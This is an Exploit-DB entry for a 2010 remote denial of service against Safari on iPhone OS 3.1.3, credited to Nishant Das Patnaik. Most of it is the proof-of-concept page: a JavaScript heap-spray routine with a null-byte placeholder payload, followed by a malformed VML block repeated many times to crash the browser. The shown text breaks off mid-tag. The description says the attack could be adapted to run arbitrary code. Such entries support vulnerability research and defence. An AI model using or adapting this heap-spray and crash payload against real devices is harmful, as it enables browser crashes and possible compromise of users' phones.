Exploit-DB #11890
Description: Apple iOS Safari - Bad 'VML' Remote Denial of Service
Type: dos
Platform: ios
Date: 2010-03-26
Author: Nishant Das Patnaik

Exploit:
# Exploit Title: Bad "VML" Remote DoS on Safari for iPhone & iPod Touch

# Date: 26/03/2010

# Author: Nishant Das Patnaik
# For more of Nishant's research, please visit:
# http://nishantdaspatnaik.yolasite.com/research.php

# Tested on: iPod Touch 3G (iPhone OS 3.1.3)

# Description: An attacker may direct the user to visit a specially crafted webpage that can lead the Safari browser on iPhone & iPod Touch running iPhone OS 3.1.3 to freeze and finally crash. The attacker can modify to the PoC to run arbitrary code on the device.
 
# Code:

---------PoC STARTS HERE----------------

<html xmlns:v="urn:schemas-microsoft-com:vml">
<title>Bad "VML" Remote DoS on Safari for iPhone & iPod Touch</title>
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<SCRIPT language="javascript">
shellcode = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");
bigblock = unescape("%u0000%u0000");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;
</script>
<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolorty